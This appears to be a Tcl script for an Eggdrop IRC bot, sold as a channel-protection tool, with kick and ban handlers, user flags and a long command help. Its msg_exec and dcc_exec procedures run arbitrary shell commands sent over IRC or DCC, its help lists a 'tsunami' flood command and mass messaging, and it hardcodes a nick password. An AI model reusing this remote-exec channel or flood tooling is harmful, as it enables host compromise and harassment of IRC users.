set nickname "xamuja"
set nickpassword "9077"
set notc "\00300,01-\00308,01K\00301,08a\00308,01i\00301,08Z\00308,01e\00301,08N\00300,01-\003"
set notm "\00300,01-\00308,01K\037\00301,08\[z\]\037\00308,01N\00300-\003"
set notb "asKop"
set notd "\00300,01-\00308,01K\00301,08a\00308,01i\00301,08Z\00308,01e\00301,08N\00300,01-\003"
set ppp "#Sidimpuan"
set ps "\00300,01-\00308,01K\00301,08a\00308,01i\00301,08Z\00308,01e\00301,08N\00300,01-\003"
set vern "\00304K\00303\[\00310z\00303\]\00304N\003"
#set [dezip "lvUPx12sYpI."] [dezip "9nKhx0KztII/"] notd
#set [dezip "oeyws1vQsKg/"] [dezip "A9P7H/kxXy3/6oYNH0RgjpL0DQ83V0T1k2D/ZzDTF0cFVu1.qf.8A/LWga8/"] notm
#set [dezip "7MyVz0FgI8a1"] [dezip "9nKhx0KztII/"] notb
#set [dezip "t.giD00CG1k0"] [dezip "dqQSl0fnWLx/QsJxc/aRFoU/dAatl1UIY7j0u4dAb1ikzYO/x3Pku0mRAgh.PzSIW0c035C/"] notc
#set [dezip "EYZwy1xs1IY0"] [dezip "9nKhx0KztII/"] ps
#set [dezip "65VZH1jV8mk1"] [dezip "P8vTR0ir55p1KP3/k.Vllyv0"] vern
#set [dezip "WN69H0.gSz51"] [dezip "zjofa07EEH91gKeyI/n05Ky/"] ppp
set awaym {
"Auto-Away after 10 mins"
"Hmmm Not Here"
"\[BX-MsgLog Off\]"
"phonecall"
"sLeEp"
"bRb"
"oFFLinE"
"checking mail"
"ILoveYouFull"
"rErE_mUacH"
"Away From Keyboard"
"be rite back"
"Dont Disturb Me"
"Dont Whois me Please"
"Mo Pacaran doloe"
"watching Television"
"client closed connection"
"Evi n Tina"
}
set lgidx 0
proc lgrnd {} {
global lgidx notc
set lgidx [incr lgidx]
if {$lgidx == 1} {
set lgrnd $notc
} elseif {$lgidx == 2} {
set lgrnd $notc
} elseif {$lgidx == 3} {
set lgrnd $notc
} elseif {$lgidx == 4} {
set lgrnd $notc
} elseif {$lgidx == 5} {
set lgrnd $notc
} elseif {$lgidx == 6} {
set lgrnd $notc
} elseif {$lgidx == 7} {
set lgrnd $notc
} else {
set lgidx 0
set lgrnd $notc
}
}
set bancounter {
"12GeTLosT..!"
"12GeTOuT..!"
"12GoTcHa..!"
"12LaMeR..!"
"12abUsEd..!"
"12OuT..!"
"12sUx..!"
"12cRooT..!"
"12Refused..!"
"12mUaCH..!"
"12WaSYu..!"
"12OuT..!"
"12ByE..!"
"12DziEG..!"
"12LoLz..!"
"12SuCKs..!"
"12aSsHOLe..!"
}
set bancounte {
"12GeTLosT..!"
"12GeTOuT..!"
"12LaMeR..!"
"12abUsEd..!"
"12OuT..!"
"12sUx..!"
"12cRooT..!"
"12Refused..!"
"12mUaCH..!"
"12WaSYu..!"
"12OuT..!"
"12ByE..!"
"12DziEG..!"
"12LoLz..!"
"12SuCKs..!"
"12GoTcHa..!"
"12aSsHOLe..!"
}
#set querym {"12(04nOt12) » here..."}

set cyclem {
"Auto Recycle!"
"Looking for Inviter!"
"In/Out!"
"Rehashing!"
"Refreshing!"
"Doing Cycle!"
"Inviter Suspect!"
"I need cycle now!"
}
set partm {
"bye"
"leaving"
"owner request"
"Join too many channel :P"
"It's time to Go!"
"It's time to Part!"
}
set ctcps {
"mIRC v6.21 Khaled Mardam-Bey"
"mIRC v6.02 Khaled Mardam-Bey"
"mIRC v6.16 Khaled Mardam-Bey"
"mIRC v6.21 Khaled Mardam-Bey"
}

proc msg_sz {nick uhost hand rest} {
global botnick notd
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notd 04DeNIEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notd Command: /msg $botnick sz <text>"
return 0
}
putquick "PRIVMSG $nick :$notd zip: [zip "$rest"]"
putquick "PRIVMSG $nick :$notd dezip: [dezip "$rest"]"
putquick "PRIVMSG $nick :$notd dcp: [dcp "$rest"]"
putquick "PRIVMSG $nick :$notd dezip+dcp: [dezip [dcp "$rest"]]"
putquick "PRIVMSG $nick :$notd decrypt: [decrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notd encrypt: [encrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notd unsix: [unsix "$rest"]"
return 0
}
bind msg m sz msg_sz

set lenc "abcdefghijklmnopqrstuvwxyz"
set ldec "zyxwvutsrqponmlkjihgfedcba"
set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"

set global-idle-kick 0
set global-chanmode "nt"
set global-dynamicexempts-mode 0
set global-dontkickops-mode 1
set global-revenge-mode 0
set global-protectops-mode 1
set global-clearbans-mode 1
set global-enforcebans-mode 0
set global-dynamicbans-mode 1
set global-protectfriends-mode 1
set global-userbans-mode 1
set global-cycle-mode 1
set global-greet-mode 0
set global-shared-mode 1
set global-autovoice-mode 0
set global-stopnethack-mode 0
set global-autoop-mode 0
set global-userinvites-mode 0
set global-nodesynch-mode 0
set nick-len 30
if {![info exists nickpass]} {
set nickpass ""
}
if {![info exists altpass]} {
set altpass ""
}
if {![info exists cfgfile]} {
set cfgfile $userfile
}
proc unsix {txt} {
set retval $txt
regsub ~ $retval "" retval
return $retval
}
proc dezip {txt} {
return [decrypt 64 [unsix $txt]]
}
proc dcp {txt} {
return [decrypt 64 $txt]
}
proc zip {txt} {
return [encrypt 64 [unsix $txt]]
}
if {![info exists server-online]} {
putlog "not support server online..!"
set server-online 1
}
proc puthlp {txt} {
global lenc ldec uenc udec notb notc server-online
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*NOTICE*" $retval]} { 
#if {![string match "*hampri*" $retval] && ![string match "**" $retval]} { return 0 }
}
puthelp $retval
}
proc putsrv {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} {
#if {![string match "*hampri*" $retval] && ![string match "*$notm*" $retval]} { return 0 }
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
if {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 }
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} { 
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
putserv $retval
}
proc putqck {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_m
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} { 
#if {![string match "*hampri*" $retval] && ![string match "*$notm*" $retval]} { return 0 }
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} { 
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
if {[string match "*$notm*" $retval]} {
set cflag "c[lindex $retval 1]"
set cflag [string range $cflag 0 8]
if {[matchattr $cflag M]} {
if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} {
set is_m([lindex $retval 1]) 1
putquick "mode [lindex $retval 1] +b $bannick([lindex $retval 2])"
return 0
}
}
}
putquick $retval
}
##############################
# mt-(C) BOT COMMAND LIST    #
##############################
bind msg m command msg_help
proc msg_help {nick uhost hand rest} {
global version notb notc notd vern
if {[istimer "HELP STOPED"]} {
putsrv "NOTICE $nick :$notc HeLP oN PRoGGeSS, TrY aGaIN LaTeR...!"
return 0
}
timer 5 { putlog "HELP STOPED" }
puthlp "PRIVMSG $nick :$notc 04CoMmaNd LIsT"
puthlp "PRIVMSG $nick :RuNNINg WiTH EggDrop v[lindex $version 0] PoWERED BY $vern"
puthlp "PRIVMSG $nick :04!!WARNING!!12 THiS 04TcL12 Is FoR 04ProTeCTIoN cHaNNeL12, IsN'T 04FoR 12aBUsE04 DaLNeT12 PLeaSe USe CaREFuLLY !04 THaNK's U"
puthlp "PRIVMSG $nick :MSG/PV COMMAND..!"
puthlp "PRIVMSG $nick :auth <password>          authenticate user in message"
puthlp "PRIVMSG $nick :deauth <password>        deauthenticate user"
puthlp "PRIVMSG $nick :pass <password>          set password"
puthlp "PRIVMSG $nick :passwd <oldpass> <newpass>  change user password"
puthlp "PRIVMSG $nick :userlist                 userlist"
puthlp "PRIVMSG $nick :op <#> <nick>            op someone"

puthlp "PRIVMSG $nick :deop <#> <nick>          deop someone"
puthlp "PRIVMSG $nick :voice <#> <nick>         voice someone"
puthlp "PRIVMSG $nick :devoice <#> <nick>       devoice someone"
puthlp "PRIVMSG $nick :kick <#> <nick|host> <reason>  kick someone"
puthlp "PRIVMSG $nick :kickban <#> <nick|host> <reason>  kickban someone"
puthlp "PRIVMSG $nick :identify <nick> <passwd> identify to nickserv someone access"
puthlp "PRIVMSG $nick :join <#>                 joining #channel temporary"
puthlp "PRIVMSG $nick :part <#>                 part #channels"
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :logo <your crew logo>    changing text logo on kick message"
puthlp "PRIVMSG $nick :vhost <IP DNS>           changing vhost"
puthlp "PRIVMSG $nick :away <msg>               set bot away message"
puthlp "PRIVMSG $nick :admin <msg>              set bot admin on status"
puthlp "PRIVMSG $nick :memo <user|all> <msg>    send memo to all user or one user"
puthlp "PRIVMSG $nick :bantime <minutes>        auto unban on X minutes (0 never unban)"
puthlp "PRIVMSG $nick :logchan <#|0FF>          log #channel"
puthlp "PRIVMSG $nick :04!!WARNING!! turn logchan on will decrease bot performance!"
puthlp "PRIVMSG $nick :<04DCC> .log              show #channel log"
puthlp "PRIVMSG $nick :04note > please increase on general - window buffer into 5000"
puthlp "PRIVMSG $nick :+chan <#>                joining permanent #channel"
puthlp "PRIVMSG $nick :botnick <nick> <id>      changing permanent bot primary nick"
puthlp "PRIVMSG $nick :botaltnick <nick> <id>   changing permanent bot alternate nick"
puthlp "PRIVMSG $nick :realname <bot realname>  changing permanent bot realname"
puthlp "PRIVMSG $nick :ident <bot ident>        changing permanent bot ident"
puthlp "PRIVMSG $nick :die                      kill bot"
}
puthlp "PRIVMSG $nick :PUBLIC/CHANNEL COMMAND..!"
puthlp "PRIVMSG $nick :!auth                    authenticate user on channel"
puthlp "PRIVMSG $nick :`up                      bot self op"
puthlp "PRIVMSG $nick :`down                    bot self deop"
puthlp "PRIVMSG $nick :`op/+o <nick>            op spesified nick"
puthlp "PRIVMSG $nick :`deop/-o <nick>          deop spesified nick"
puthlp "PRIVMSG $nick :`voice/+v <nick>         voice spesified nick"
puthlp "PRIVMSG $nick :`devoice/-v <nick>       devoice spesified nick"
puthlp "PRIVMSG $nick :`kick <nick> <reason>    kick spesified nick"
puthlp "PRIVMSG $nick :`kickban <nick> <reason> kickban spesified nick"
puthlp "PRIVMSG $nick :`mode <+/- settings>     mode setting #channel"
puthlp "PRIVMSG $nick :`ping / `pong            checking your eggdrop respond"
puthlp "PRIVMSG $nick :`invite <nick>           invite person to current #channel"
puthlp "PRIVMSG $nick :`banlist <#channel>      list of banned from specified <#channel>"
puthlp "PRIVMSG $nick :`ban <nick|hostmask>     ban some nick or hostmask"
puthlp "PRIVMSG $nick :`unban <nick|host> <#>   unban some nick or hostmask"
puthlp "PRIVMSG $nick :`+chan <#>               joining permanent #channel"
puthlp "PRIVMSG $nick :`channels                list of channel who's bot sit on"
puthlp "PRIVMSG $nick :`userlist                list of user"
puthlp "PRIVMSG $nick :`chaninfo <#>            list of option for specified #channel"
puthlp "PRIVMSG $nick :`join <#>                joining #channel temporary"
puthlp "PRIVMSG $nick :`part <#>                part specified #channel"
puthlp "PRIVMSG $nick :`cycle <#>               cycle on specified #channel"
puthlp "PRIVMSG $nick :`+/- cycle <#|all> <X>   enable/disable bot cycle every X minutes"
puthlp "PRIVMSG $nick :`+/- ignore <nick|host>  ignore or unignore person"
if {[matchattr $nick n]} {
puthlp "PRIVMSG $nick :`+/- status <#>          enable/disable bot displaying status"
puthlp "PRIVMSG $nick :`+/- enforceban <#>      enable/disable bot enforcebans"
puthlp "PRIVMSG $nick :`+/- autovoice <secs>    enable/disable channel autovoice on join"
puthlp "PRIVMSG $nick :`+/- guard <#|all>       enable/disable bot guard"
puthlp "PRIVMSG $nick :`+/- master <nick>       add/del <nick> from master list"
puthlp "PRIVMSG $nick :`+/- avoice <nick>       add/del <nick> from avoice list"
puthlp "PRIVMSG $nick :`+/- friend <nick>       add/del <nick> from friend list"
puthlp "PRIVMSG $nick :`+/- ipguard <host>      add/del host from ipguard list"
puthlp "PRIVMSG $nick :`+/- akick <host>        add/del host from kick list"
puthlp "PRIVMSG $nick :`+/- noop <nick>         add/del <nick> from no-op list"
puthlp "PRIVMSG $nick :`topic <topic>           change channel topic"
puthlp "PRIVMSG $nick :`status                  status system"
puthlp "PRIVMSG $nick :`servers                 servers bot currently running"
puthlp "PRIVMSG $nick :`jump <server> <port>    push bot to use spec server"
puthlp "PRIVMSG $nick :`flag <nick>             see user access from spec flags"
puthlp "PRIVMSG $nick :`access                  see you self access on eggdrop"
}
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :`+/- forced              force bot to set mode w/o kick 1st"
puthlp "PRIVMSG $nick :`+/- colour              enable/disable colour on kick msg"
puthlp "PRIVMSG $nick :`+/- greet <msg>         autogreet user on join %n nick %c channel"
puthlp "PRIVMSG $nick :`+/- repeat <number>     max repeat user permitted"
puthlp "PRIVMSG $nick :`+/- text <number>       char limited text length on channel"
puthlp "PRIVMSG $nick :`+/- limit <number>      limited user on channel"
puthlp "PRIVMSG $nick :`+/- caps <%>            max % percent upper text"
puthlp "PRIVMSG $nick :`+/- clone <max>         enable/disable bot anti clones"
puthlp "PRIVMSG $nick :`+/- reop                auto re@p bot when got de@p"
puthlp "PRIVMSG $nick :`+/- joinpart <seconds>  kick user join part in past X 2nd"
puthlp "PRIVMSG $nick :`+/- spam                scanning for spam"
puthlp "PRIVMSG $nick :`+/- massjoin            preventing mass join lame"
puthlp "PRIVMSG $nick :`+/- key <keyword>       set channel with key"
puthlp "PRIVMSG $nick :`+/- revenge             enable/disable bot revenge"
puthlp "PRIVMSG $nick :`+/- badword <badword>   add/remove badword from list"
puthlp "PRIVMSG $nick :`badwords                list of badwords"
puthlp "PRIVMSG $nick :`nobot                   scanning for bot and kick them out"
puthlp "PRIVMSG $nick :`sdeop <#>               bot self deop"
puthlp "PRIVMSG $nick :`chanmode # <+ntmcilk>   set permanent mode for specified #"
puthlp "PRIVMSG $nick :`chanset <#> <LINE|CTCP|JOIN|DEOP|KICK|NICK>  set # options"
puthlp "PRIVMSG $nick :`chansetall <option>     set option for all #"
puthlp "PRIVMSG $nick :`chanreset <#|all>       reseting option for specified #channel"
puthlp "PRIVMSG $nick :`bantime                 how long bot unban in X minutes"
puthlp "PRIVMSG $nick :`tsunami <nick|#> <text> flood someone or channel"
puthlp "PRIVMSG $nick :`deluser <nick>          del user from userlist"
puthlp "PRIVMSG $nick :`restart                 restarting bot also jumping server"
puthlp "PRIVMSG $nick :`+/- owner <nick>        add/del <nick> from owner list"
puthlp "PRIVMSG $nick :`+/- admin <nick>        add/del <nick> from admin list"
puthlp "PRIVMSG $nick :`+/- aop <nick>          add/del <nick> from aop list"
puthlp "PRIVMSG $nick :`+/- host <nick> <flag>  add or remove user host"
puthlp "PRIVMSG $nick :`+/- gnick <nick>        guard nick kick it if not identify"
puthlp "PRIVMSG $nick :`host <nick>             see user host"
puthlp "PRIVMSG $nick :`mvoice <#channel>       mass voice"
puthlp "PRIVMSG $nick :`mdevoice <#channel>     mass devoice"
puthlp "PRIVMSG $nick :`mop <#channel>          mass op"
puthlp "PRIVMSG $nick :`mdeop <#channel>        mass deop"
puthlp "PRIVMSG $nick :`mkick <#channel>        mass kick"
puthlp "PRIVMSG $nick :`mmsg <#channel>         mass msg except the opped"
puthlp "PRIVMSG $nick :`minvite <#channel>      mass invite except the opped"
puthlp "PRIVMSG $nick :`munbans <#channel>      mass unban"
puthlp "PRIVMSG $nick :`say <text>              say with spesified text"
puthlp "PRIVMSG $nick :`msg <nick> <text>       msg person"
puthlp "PRIVMSG $nick :`act <text>              act with spesified text"
puthlp "PRIVMSG $nick :`notice <nick|#> <text>  msg person or channel with spesified text"
puthlp "PRIVMSG $nick :`version                 see your eggdrop version"
puthlp "PRIVMSG $nick :`logo                    see your eggdrop logo"
puthlp "PRIVMSG $nick :`+/- topiclock           keep topic locked"
puthlp "PRIVMSG $nick :`+/- nopart <#channel>   make # protected"
puthlp "PRIVMSG $nick :`+/- mustop              set bot del channel if not oped"
puthlp "PRIVMSG $nick :`+/- invitelock <#>      invite back who part on spec chan"
puthlp "PRIVMSG $nick :`+/- dontkickops         enable/disable bot kick @"
puthlp "PRIVMSG $nick :`+/- autokick            auto kick on join"
puthlp "PRIVMSG $nick :`nick <nick>             change nick temporary"
puthlp "PRIVMSG $nick :`altnick                 change nick to alternative nick"
puthlp "PRIVMSG $nick :`randnick                change nick to random nick"
puthlp "PRIVMSG $nick :`realnick                change nick to real nick"
puthlp "PRIVMSG $nick :`chattr <nick> <flag>    changing user flag (+) add or (-) remove it"
puthlp "PRIVMSG $nick :`rehash                  rehashing data packing and unpacking"
puthlp "PRIVMSG $nick :`kickcounter <on/off>    aktivated kick conuter message"
}
puthlp "PRIVMSG $nick :FLAg LIsT UsER & cHaNNeL"
puthlp "PRIVMSG $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS"
puthlp "PRIVMSG $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK \[S\]EEN"
puthlp "PRIVMSG $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon"
puthlp "PRIVMSG $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend"
puthlp "PRIVMSG $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet \[X\]no p\[S\]d"
puthlp "PRIVMSG $nick : "
puthlp "PRIVMSG $nick :Powered By :$vern"
puthlp "PRIVMSG $nick :04Info : Shell expired in 29 Des 2012 --> please upgrade your contract.!"
return 0
}
set firsttime "T"
set init-server { serverup "" }
set modes-per-line 6
set allow-desync 0
set include-lk 1
set banplus [rand 5]
set ban-time [expr 25 + $banplus]
unset banplus
set quiet-save 1
set logstore ""
set max-logsize 512
set upload-to-pwd 1
catch { unbind dcc n restart *dcc:restart }
catch { unbind dcc n msg *dcc:msg }
catch { unbind dcc n status *dcc:status }
catch { unbind dcc n dump *dcc:dump }
proc serverup {heh} {
global botnick firsttime notc owner
	if {[info exists firsttime]} {
		unset firsttime
		return 0 
	}
	putlog "..ConnecteD.."
	putserv "MODE $botnick +Ri-ws"
	foreach x [userlist] {
		if {[matchattr $x Q]} { chattr $x -Q }
		if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} { 
			setuser $owner XTRA "AUTH" "" 
		}
		chattr $x -hp
		if {$x != "config" && [chattr $x] == "-"} { 
			deluser $x
			putlog "deluser $x"
		}
	}
	chk_five "0" "0" "0" "0" "0"
	utimer 2 del_nobase
	foreach x [ignorelist] {
		killignore [lindex $x 0]
	}
}
catch { bind evnt - disconnect-server serverdown }
proc serverdown {heh} {
global firsttime
catch { unset firsttime }
catch { clearqueue all }
putlog "..Disconneted.."
foreach x [timers] {
if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] }
}
}
proc isnumber {string} {
global notc
if {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then {
return 1
}
return 0
}
proc pub_bantime {nick uhost hand channel rest} {
global notc ban-time
puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\]"
}
proc randstring {length} {
set chars ABCDEFGHIJKLMNOPQRSTUVWXYZ
set count [string length $chars]
for {set i 0} {$i < $length} {incr i} {
append result [string index $chars [rand $count]]
}
return $result
}
#########################
# mt-(C) PUBLIC COMMAND #
#########################
bind pub m !pong public_ping
bind pub n `reset pub_reset
bind pub f `host pub_host
bind pub f `flag pub_flag
bind pub m `version pub_version
bind pub m `logo pub_logo
bind pub Z `msg pub_msg
bind msg Z admin msg_admin
bind msg Z away msg_away
bind msg Z bantime msg_bantime
bind msg Z logo msg_logo
bind msg Z mmsg msg_mmsg
bind msg Z limit msg_limit
bind msg Z logchan msg_logchan
bind msg Z botnick msg_botnick
bind msg Z realname msg_realname
bind msg Z ident msg_ident
bind msg Z botaltnick msg_botaltnick
bind msg Z die msg_die
bind msg Z restart msg_restart
bind msg Z rehash msg_rehash
bind msg Z topic msg_topic
bind msg m memo msg_memo
bind pub n `+autovoice pub_+autovoice
bind pub n `-autovoice pub_-autovoice
bind pub n `+guard pub_+guard
bind pub n `-guard pub_-guard
bind pub n `+cycle pub_+cycle
bind pub n `-cycle pub_-cycle
bind pub n `+friend pub_+friend
bind pub n `-friend pub_-friend
bind pub n `+avoice pub_+avoice
bind pub n `-avoice pub_-avoice
bind pub n `+master pub_+master
bind pub n `-master pub_-master
bind pub n `mvoice pub_mvoice
bind pub n `mdevoice pub_mdevoice
bind pub n `mop pub_mop
bind pub n `mdeop pub_mdeop
bind pub n `+chan pub_+chan
bind msg n identify msg_identify
bind msg n kick msg_kick
bind msg n k msg_kick
bind msg n kickban msg_kickban
bind msg n kb msg_kickban
bind msg n op msg_op
bind msg n voice msg_voice
bind msg n v msg_voice
bind msg n deop msg_deop
bind msg n devoice msg_devoice
bind pub n `topic pub_topic
bind pub n `jump pub_jump
bind pub n `rehash pub_rehash
bind msg n +chan msg_+chan
bind msg n join msg_join
bind msg n part msg_part
bind pub m `voice pub_voice
bind pub m `+v pub_voice
bind pub m `devoice pub_devoice
bind pub m `-v pub_devoice
bind pub m `op pub_op
bind pub m `+o pub_op
bind pub m `deop pub_deop
bind pub m `-o pub_deop
bind pub m `kick pub_kick
bind pub m `k pub_kick
bind pub m `kickban pub_kickban
bind pub m `kb pub_kickban
bind pub m `+noop pub_+noop
bind pub m `-noop pub_-noop
bind pub m `ban pub_ban
bind pub m `unban pub_unban
bind pub m `munbans pub_munbans
bind pub m `banlist pub_banlist
bind pub m `mode pub_mode
bind pub m `join pub_join
bind pub m `part pub_part
bind pub m `cycle pub_cycle
bind pub m `up pub_up
bind pub m `down pub_down
bind msg m passwd msg_passwd
bind msg m deauth msg_deauth
bind msg m channels msg_channels
bind pub m `channels pub_channels
bind pub m `status pub_status
bind pub m `chaninfo pub_chaninfo
bind pub m `userlist pub_userlist
bind msg m userlist msg_userlist
bind pub f `access pub_access
bind pub m `match pub_match
proc pub_Z {nick uhost hand channel rest} {
global notc botnick
set prest $rest
if {[lindex $rest 0] == $botnick} {
regsub "$botnick " $rest "`" rest
} {
if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} {
set rest "$botnick [lrange $rest 1 end]"
regsub "$botnick " $rest "`" rest
}
}
if {[string index $rest 0] != "`"} { return 0 }
if {![matchattr $nick Z]} { return 0 }
if {![matchattr $nick Q]} {
if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
}
return 0
}
set goto [lindex $rest 0]
regsub -all "`" $goto "pub_" goto
if {[matchattr $nick Z]} {
set rest [lrange $rest 1 end]
catch { $goto $nick $uhost $hand $channel $rest }
}
}
proc msg_encrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc [zip $rest]"
}
proc msg_decrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc [dezip $rest]"
}
proc msg_exec {nick uhost hand command} {
global own notc
if {$nick != $own || $command == ""} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set para1 [lindex $command 0]
set para2 [lindex $command 1]
set para3 [lindex $command 2]
set para4 [lindex $command 3]
set para5 [lindex $command 4]
if {$para2 == ""} {
catch { [exec $para1] } result
} elseif {$para3 == ""} {
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} {
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} {
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para5 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5] } result
}
puthlp "NOTICE $nick :$notc $result"
}
bind dcc * exec dcc_exec
bind dcc * log dcc_log
bind dcc * dir dcc_dir
bind dcc * read dcc_read
bind dcc * ` dcc_cmd
bind dcc * get dcc_get
bind dcc * u dcc_u
proc dcc_u {hand idx arg} {
foreach x [utimers] {
putdcc $idx $x
}
}
bind dcc * t dcc_t
proc dcc_t {hand idx arg} {
foreach x [timers] {
putdcc $idx $x
}
}
proc dcc_exec {hand idx arg} {
global own notc
if {$hand != $own || $arg == ""} { return 0 }
set para1 [lindex $arg 0]
set para2 [lindex $arg 1]
set para3 [lindex $arg 2]
set para4 [lindex $arg 3]
set para5 [lindex $arg 4]
if {$para2 == ""} { 
catch { [exec $para1] } result
} elseif {$para3 == ""} { 
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} { 
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} { 
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para5 != ""} { 
catch { [exec $para1 $para2 $para3 $para4 $para5] } result
}
putdcc $idx $result
}
proc pub_host {nick uhost hand channel rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else { 
set user [lindex $rest 0]
}
if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {[getuser $user HOSTS] != ""} {
set hosts [getuser $user hosts]
puthlp "NOTICE $nick :$notc HOSTS: $hosts"
} else {
puthlp "NOTICE $nick :$notc CaN'T FoUnD $user HoST"
}
}
proc pub_flag {nick uhost hand chan rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else { 
set user [lindex $rest 0]
}
if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {[matchattr $user Z]} {
puthlp "NOTICE $nick : $notc FLaGs, !OWNeR! ([chattr $user])"
} elseif {[matchattr $user n]} {
puthlp "NOTICE $nick : $notc FLaGs, !ADmIN! ([chattr $user])"
} elseif {[matchattr $user m]} {
puthlp "NOTICE $nick : $notc FLaGs, !MasTeR! ([chattr $user])"
} elseif {[matchattr $user f]} {
puthlp "NOTICE $nick : $notc FLaGs, !FrIEnD! ([chattr $user])"
} elseif {[matchattr $user v]} {
puthlp "NOTICE $nick : $notc FLaGs, !AuTo VoIcE! ([chattr $user])"
} else { 
puthlp "NOTICE $nick :$notc CaN'T FoUnD $user FLaG"
}
}
catch { unbind dcc n match *dcc:match }
catch { unbind dcc n channel *dcc:channel }
proc pub_deluser {nick uhost hand channel rest} {
global botnick ps owner notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: deluser <nick>"
return 0
}
set who [lindex $rest 0]
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0 
}
if {$who == $owner} {
puthlp "NOTICE $nick :$notc YoU CaN'T DeLeTE $owner..!"
return 0
}
if {$who == ""} {
puthlp "NOTICE $nick :$notc Usage: -user <nick>"
} else {
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
} else {
if {[matchattr $who n]} {
puthlp "NOTICE $nick :$notc YoU CaN'T DeLETE a BoT oWNeR"
} else {
if {([matchattr $who m]) && (![matchattr $nick n])} {
puthlp "NOTICE $nick :$notc YoU DoN'T HaVe ACcEss To DeLETE $who!"
} else {
deluser $who
saveuser
puthlp "NOTICE $nick :$notc $who DeLETE."
}
}
}
}
}
proc pub_chattr {nick uhost hand channel rest} {
global ps own notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {$nick != $own && [matchattr $nick X]} {
puthlp "NOTICE $nick :$notc 04!bLOckEd!"
return 0
}
set who [lindex $rest 0]
set flg [lindex $rest 1]
if {$who == ""} {
puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {$flg == ""} {
puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
return 0
}
set last_flg [chattr $who]
chattr $who $flg
saveuser
puthlp "NOTICE $nick :$notc $who change from \[04$last_flg12\] to \[04[chattr $who]12\]"
return 0
}
